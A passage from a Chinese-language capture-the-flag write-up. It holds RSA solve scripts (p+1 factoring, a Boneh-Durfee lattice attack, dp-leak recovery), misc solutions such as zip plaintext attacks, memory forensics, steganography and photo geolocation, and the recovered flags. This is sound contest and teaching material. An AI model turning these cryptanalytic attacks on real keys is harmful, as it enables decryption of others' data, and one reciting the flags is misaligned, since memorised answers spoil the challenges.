    while True:
        p = 2
        while p.bit_length() < bits:
            p *= choice(sieve_base)
        if isPrime(p - 1):
            return p - 1


p1 = gen(256)
q1 = gen(256)
n1 = p1 * q1
c1 = p1 + e

print(f'n1 = {n1}')
print(f'c1 = {c1}')

'''

n = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
c = 6723803125309437675713195914771839852631361554645954138639198200804046718848872479140347495288135138109762940384847808522874831433140182790750890982139835
n1 = 151767047787614712083974720416865469041528766980347881592164779139223941980832935534609228636599644744364450753148219193621511377088383418096756216139022880709
c1 = 6701513605196718137208327145211106525052740242222174201768345944717813148931922063338128366155730924516887607710111701686062781667128443135522927486682574


def mlucas(v, a, n):
    v1, v2 = v, (v ** 2 - 2) % n
    for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == "0" else (
        (v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
    return v1

def primegen():
    yield 2
    yield 3
    yield 5
    yield 7
    yield 11
    yield 13
    ps = primegen()  # yay recursion
    p = ps.__next__() and ps.__next__()
    q, sieve, n = p ** 2, {}, 13
    while True:
        if n not in sieve:
            if n < q:
                yield n
            else:
                next, step = q + 2 * p, 2 * p
                while next in sieve:
                    next += step
                sieve[next] = step
                p = ps.__next__()
                q = p ** 2
        else:
            step = sieve.pop(n)
            next = n + step
            while next in sieve:
                next += step
            sieve[next] = step
        n += 2

def ilog(x, b):  # greatest integer l such that b**l <= x.
    l = 0
    while x >= b:
        x /= b
        l += 1
    return l

def attack(n):
    for v in count(1):
        for p in primegen():
            e = ilog(math.isqrt(n), p)
            if e == 0:
                break
            for _ in range(e):
                v = mlucas(v, p, n)
            g = GCD(v - 2, n)
            if 1 < g < n:
                return int(g), int(n // g)  # g|n
            if g == n:
                break



p1,q1=attack(n1)
print(p1,q1)

e=c1-p1

helpful_only = True
dimension_min = 7  # stop removing if lattice reaches that dimension

debug = False

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii, jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                # print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    # print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB

""" 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""

def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR.<u,x,y> = PolynomialRing(ZZ)
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX * YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift)  # substitution

    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            monomials.append(u ^ int(kk)* y ^ jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0, 0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ mm)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (mm * nn)
    if det >= bound:
        # print("We do not have det < bound. Solutions might not be found.")
        # print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            # print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ mm)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                # print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        # print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        # print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly

delta = .271  # this means that d < N^delta
M = 8  # size of the lattice (bigger the better/slower)
t = int((1 - 2 * delta) * M)  # optimization from Herrmann and May
X = 2 * floor(n ^ delta)  # this _might_ be too much
Y = floor(sqrt(n))  # correct if p, q are ~ same size
P.<x,y> = PolynomialRing(ZZ)
A = int((n + 1) / 2)
pol = 1 + x * (A + y)

solx, soly = boneh_durfee(pol, e, M, t, X, Y)

d = int(pol(solx, soly) / e)
print(d)
m = power_mod(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

flag{39693fd4a45b386c28c63100cc930238259891a2}

Dp

题目自带 exp。

import gmpy2 as gp

n = 110231451148882079381796143358970452100202953702391108796134950841737642949460527878714265898036116331356438846901198470479054762675790266666921561175879745335346704648242558094026330525194100460497557690574823790674495407503937159099381516207615786485815588440939371996099127648410831094531405905724333332751
dp = 3086447084488829312768217706085402222803155373133262724515307236287352098952292947424429554074367555883852997440538764377662477589192987750154075762783925
c = 59325046548488308883386075244531371583402390744927996480498220618691766045737849650329706821216622090853171635701444247741920578127703036446381752396125610456124290112692914728856924559989383692987222821742728733347723840032917282464481629726528696226995176072605314263644914703785378425284460609365608120126
e = 65537
for i in range(1, e):  # 在范围(1,e)之间进行遍历
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:  # 存在p,使得n能被p整除
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            phi = (q - 1) * (p - 1)  # 欧拉定理
            d = gp.invert(e, phi)  # 求模逆
            m = pow(c, d, n)  # 快速求幂取模运算

print(m)  # 10进制明文
print('------------')
print(hex(m)[2:])  # 16进制明文
print('------------')
print(bytes.fromhex(hex(m)[2:]))  # 16进制转文本

Easyrsa

n 直接在线分解得到 p,q

p = 1000000000000000000000000000057

q = 1000000000000000000000000000099

from Crypto.Util.number import inverse

p = 1000000000000000000000000000057
q = 1000000000000000000000000000099
e = 65537
c = 418535905348643941073541505434424306523376401168593325605206

n = p * q
phi = (p-1) * (q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(bytes.fromhex(hex(m)[2:]).decode())

Misc

Terminal Hacker

pyinstxtractor 直接解包 py exe 得到 1.pyc

在线反编译得到 flag

一大碗冰粉

镜像用 vol3 提取出 hint.txt

doyouknowplaintextattack

再提取 secret.zip 用明文攻击爆破。

得到以下文件

疑惑吗?疑惑就对了.search

将文件 xor 上 search 得到 zip 文件,解压得到下图

社工找到该图片位置。

flag{江苏省连云港市海州区陇海步行街}

数据识别与审计

需要从各个类型文件里面审计找到有敏感 + 恶意代码的信息文件,每个类型五个

排序规则:TXT> 图片 >PDF> 音频数据,且数字 > 大小写字母

例如:1a.txt,q5.txt,Qa.txt,aa.pdf,b.png

则 flag 为 flag{md5(1a.txt,q5.txt,Qa.txt,b.png,aa.pdf)}=flag{4b24307829e14b4acdfdc5b43d87554f}

txt 所有提取数据:

pdfid 扫描脚本:

import os
import subprocess
import sys

def process_pdfs_in_directory(directory_path, script_to_call, output_log_file="process_log.txt"):
    if not os.path.isdir(directory_path):
        return

    if not os.path.isfile(script_to_call):
        return

    with open(output_log_file, 'w', encoding='utf-8') as log_f:
        def log_print(message):
            print(message)
            log_f.write(message + "\n")

        log_print(f"=====================================================")
        log_print(f"开始处理 PDF 文件,输出将记录到:{output_log_file}")
        log_print(f"扫描目录:{directory_path}")
        log_print(f"要调用的脚本:{script_to_call}")
        log_print(f"=====================================================\n")

        found_pdfs = False
        for filename in os.listdir(directory_path):
            if filename.lower().endswith(".pdf"):
                pdf_path = os.path.join(directory_path, filename)
                found_pdfs = True

                log_print(f"\n--- 正在处理 PDF 文件:{filename} ---")
                try:
                    command = [sys.executable, script_to_call, "-s", pdf_path]
                    log_print(f"执行命令:{' '.join(command)}")
                    result = subprocess.run(command, capture_output=True, text=True, check=True)

                    log_print("脚本标准输出:")
                    log_print(result.stdout.strip())

                    if result.stderr:
                        log_print("脚本错误输出:")
                        log_print(result.stderr.strip())

                except subprocess.CalledProcessError as e:
                    log_print(f"处理 '{filename}' 时脚本返回非零退出代码:{e.returncode}")
                    log_print(f"错误输出:\n{e.stderr.strip()}")
                except FileNotFoundError:
                    log_print(f"错误:无法找到 Python 解释器或脚本 '{script_to_call}'。请检查路径和环境变量。")
                except Exception as e:
                    log_print(f"处理 '{filename}' 时发生未知错误:{e}")
        
        if not found_pdfs:
            log_print(f"在目录 '{directory_path}' 中没有找到任何 PDF 文件。")

        log_print(f"\n=====================================================")
        log_print(f"所有 PDF 文件处理完毕。详情请查看日志文件:{output_log_file}")
        log_print(f"=====================================================\n")

if __name__ == "__main__":
    PDF_DIRECTORY =  r"C:\Users\Admin\Desktop\pdf"
    ANOTHER_SCRIPT_PATH = os.path.join(os.path.dirname(__file__),r"C:\Users\Admin\Desktop\PDFID\pdfid.py")
    OUTPUT_LOG_FILE = r"C:\Users\Admin\Desktop\out.txt"
    process_pdfs_in_directory(PDF_DIRECTORY, ANOTHER_SCRIPT_PATH, OUTPUT_LOG_FILE)

txt

Me4CoMw7.txt

9h0zQJok.txt

T0BPOXDY.txt

FiBRFFnG.txt

gWa0DiTs.txt

wav:

Bd2IYe3.wav

H0KDChj.wav

UEbzH4X.wav

bjVwvcC.wav

ou9E9Mh.wav

pdf:

bVKINl.pdf

hnPRx1.pdf

mIR13t.pdf

OGoyOG.pdf

rSG2pW.pdf

Png:

sofhifed.png

wxrozxe3.png

a4ijc0fu.png

lhf82t3d.png

b7aykkl9.png

哇哇哇瓦

lsb 提取出前半 flag

foremost 提取出一个 hint 文件

使用脚本提取图片右下角从右到左的 rgb 数据转 hex,得到 zip 字节。

from PIL import Image
import numpy as np

img = Image.open('aa.png')

width, height = img.size


y = height - 1
pixels = []
for x in range(width):
    pixel = img.getpixel((x, y))
    if len(pixel) > 3:
        pixel = pixel[:3]
    pixels.append(pixel)


for i in range(width-1, 831, -1):
    hex_color = '{:02x}{:02x}{:02x}'.format(*pixels[i])
    print(hex_color, end='')

两个英雄一个 Gekko 一个 Yoru,密码就是 GekkoYoru

解压得到 flag 后半段